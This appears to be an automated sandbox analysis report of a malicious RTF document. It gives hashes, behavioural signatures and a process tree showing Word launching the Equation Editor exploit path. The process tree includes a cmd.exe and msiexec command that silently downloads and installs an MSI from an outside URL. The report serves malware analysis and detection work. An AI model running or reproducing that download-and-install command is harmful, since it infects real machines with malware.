Analysis

  • max time kernel
    105s
  • max time network
    50s
  • platform
    windows7_x64
  • resource
    win7-20220715-en
  • resource tags

    arch:x64arch:x86image:win7-20220715-enlocale:en-usos:windows7-x64system
  • submitted
    24-07-2022 22:29

General

  • Target

    b624482a1a1880244c9c0ac1b64e19b7980a07bb9d8f5c59b4aabcae3fa0eda4.rtf

  • Size

    261KB

  • MD5

    70f5959abfa46e33899c096caee0c2a8

  • SHA1

    697e56b06746172c8e3bbcb5e618843b55642a9d

  • SHA256

    b624482a1a1880244c9c0ac1b64e19b7980a07bb9d8f5c59b4aabcae3fa0eda4

  • SHA512

    8d07be0aa691be170202df6e7ae7a095fdfe68b41036273d54728a248bf86b117902f4e4e4b1ae57e6f1f302c83ed3be6b057ffac0526e6e928dcda4af94a6f9

Score
7/10

Malware Config

Signatures

  • Use of msiexec (install) with remote resource 1 IoCs
  • Drops file in Windows directory 1 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Launches Equation Editor 1 TTPs 2 IoCs

    Equation Editor is an old Office component often targeted by exploits such as CVE-2017-11882.

  • Modifies Internet Explorer settings 1 TTPs 31 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 34 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Suspicious use of WriteProcessMemory 15 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\b624482a1a1880244c9c0ac1b64e19b7980a07bb9d8f5c59b4aabcae3fa0eda4.rtf"
    1⤵
    • Drops file in Windows directory
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:836
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:1596
    • C:\Program Files (x86)\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
      "C:\Program Files (x86)\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding
      1⤵
      • Launches Equation Editor
      • Suspicious use of WriteProcessMemory
      PID:800
      • C:\Windows\SysWOW64\cmd.exe
        cmd.exe & /C CD C: & msiexec.exe /i http://thecoverstudio.com/modules/jmsslider/views/img/layers/app/novzya.msi /quiet
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:1728
        • C:\Windows\SysWOW64\msiexec.exe
          msiexec.exe /i http://thecoverstudio.com/modules/jmsslider/views/img/layers/app/novzya.msi /quiet
          3⤵
          • Use of msiexec (install) with remote resource
          • Suspicious use of AdjustPrivilegeToken
          PID:608
    • C:\Program Files (x86)\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
      "C:\Program Files (x86)\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding
      1⤵
      • Launches Equation Editor
      PID:964
    • C:\Windows\system32\msiexec.exe
      C:\Windows\system32\msiexec.exe /V
      1⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:848

    Network

    MITRE ATT&CK Enterprise v6

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • memory/836-54-0x0000000072DB1000-0x0000000072DB4000-memory.dmp

      Filesize

      12KB

    • memory/836-55-0x0000000070831000-0x0000000070833000-memory.dmp

      Filesize

      8KB

    • memory/836-56-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/836-57-0x000000007181D000-0x0000000071828000-memory.dmp

      Filesize

      44KB

    • memory/836-58-0x00000000766A1000-0x00000000766A3000-memory.dmp

      Filesize

      8KB

    • memory/836-67-0x000000007181D000-0x0000000071828000-memory.dmp

      Filesize

      44KB

    • memory/836-68-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/836-69-0x000000007181D000-0x0000000071828000-memory.dmp

      Filesize

      44KB

    • memory/848-64-0x000007FEFC2C1000-0x000007FEFC2C3000-memory.dmp

      Filesize

      8KB